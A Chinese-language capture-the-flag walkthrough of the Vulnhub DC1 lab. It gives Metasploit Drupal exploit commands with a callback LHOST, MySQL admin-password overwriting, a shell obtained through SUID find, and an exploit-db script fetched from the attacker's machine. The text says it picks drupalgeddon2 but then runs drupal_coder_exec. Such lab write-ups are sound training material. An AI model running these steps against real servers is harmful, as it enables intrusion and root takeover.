【Vulnhub靶机系列】DC1

点击标题下「蓝色微信名」可快速关注

文章来源|MS08067 安全实验室

本文作者:大方子(Ms08067实验室核心成员)

基本信息

Kali:192.168.56.116

DC1:192.168.56.115

实验过程

现在Kali中使用arp-scan进行主机探活

sudo arp‐scan ‐‐interface=eth1 192.168.56.0/24

逐个排查发现DC1的IP地址为192.168.56.115

然后使用nmap对主机进行探测

nmap ‐sC ‐sV ‐A ‐oA vulnhub/DC1/DC1 192.168.56.115

主机分开开了:22,80,111端口

我们先从80端口入手

可以发现网站是Drupal cms管理系统

我们启动msf,搜索下Drupal可用的EXP

msf > search Drupal

这里我们选用exploit/unix/webapp/drupal_drupalgeddon2

因为他是最新的,而且品质为excellent

msf6 > use exploit/unix/webapp/drupal_coder_exec
msf6 exploit(unix/webapp/drupal_coder_exec) > show options
msf6 exploit(unix/webapp/drupal_coder_exec) > set RHOSTS 192.168.56.115
msf6 exploit(unix/webapp/drupal_coder_exec) > set LHOST 192.168.56.116
msf6 exploit(unix/webapp/drupal_coder_exec) > run

这样我们就可以成功得到一个会话

我们用会话返回一个shell

发现flag1.txt

查看下flag1.txt内容

给我们一个提示 Every good CMS needs a config file - and so do you.

百度drupal配置文件的位置

sites/default/files

里面可以看到数据库的账号密码,同时我们还可以看到flag2的内容说:爆破不是唯一获得访问权限方法

'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',

那么我们用获得数据库的账号密码登录下数据看看

这里需要注意的是,我们需要用python转换成标准的shell

否则就会出现下面的场景,进入mysql之后

shell就没有反应

我们输入

python ‐c "import pty;pty.spawn('/bin/bash')"

mysql> show databases;
mysql> use drupaldb;
mysql> show tables;
mysql> select * from users;
mysql> select name,pass from users;

这里的密码是经过drupal加密

在scripts的文件夹中有用来算密码的脚本,但是因为靶机的环境原因会报错

网上找了下,直接用别人算好的hash进行替换

明文:password
密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

接下来我们把管理员的密码重置下

mysql> update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'
where name='admin';

然后进行登录

然后发现flag3

从flag3的内容可以看出,提示我们需要用find提权同时我们也可以在家目录中找到flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

我们使用find找下具有root权限的suid

# ‐perm 按照文件权限来查找文件
# ‐u=w 基于用户可写查找
# ‐type f 查找普通类型文件
find / ‐perm ‐u=s ‐type f 2>/dev/null

可以看到find是可以用来提权的

我们尝试用find执行命令

# 这里需要注意‐name参数填写的文件名,是需要系统真实存在的
www‐data@DC‐1:/home/flag4$ find / ‐name flag4 ‐exec "whoami" \;

那么我们接下来用find提权

www‐data@DC‐1:/home/flag4$ find / ‐name flag4 ‐exec "/bin/sh" \;

这样我们就拿到最终的flag

额外内容

使用CVE2014-3704添加管理账号

在exploit-db中有可以直接利用的EXP,可以直接添加管理账号地址:https://www.exploit-db.com/exploits/34992 我们在Kali上开启HTTP服务,让靶机从Kali上下载EXP

然后我们通过这个EXP创建管理账号

www‐data@DC‐1:/var/www$ python 34992.py ‐t http://192.168.56.115/ ‐u dfz ‐p ms08067

然后就可以正常登录

另一种查询具有root权限命令的find语句

find / ‐user root ‐perm ‐4000 ‐print 2>/dev/null


扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前40000+人已关注加入我们

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值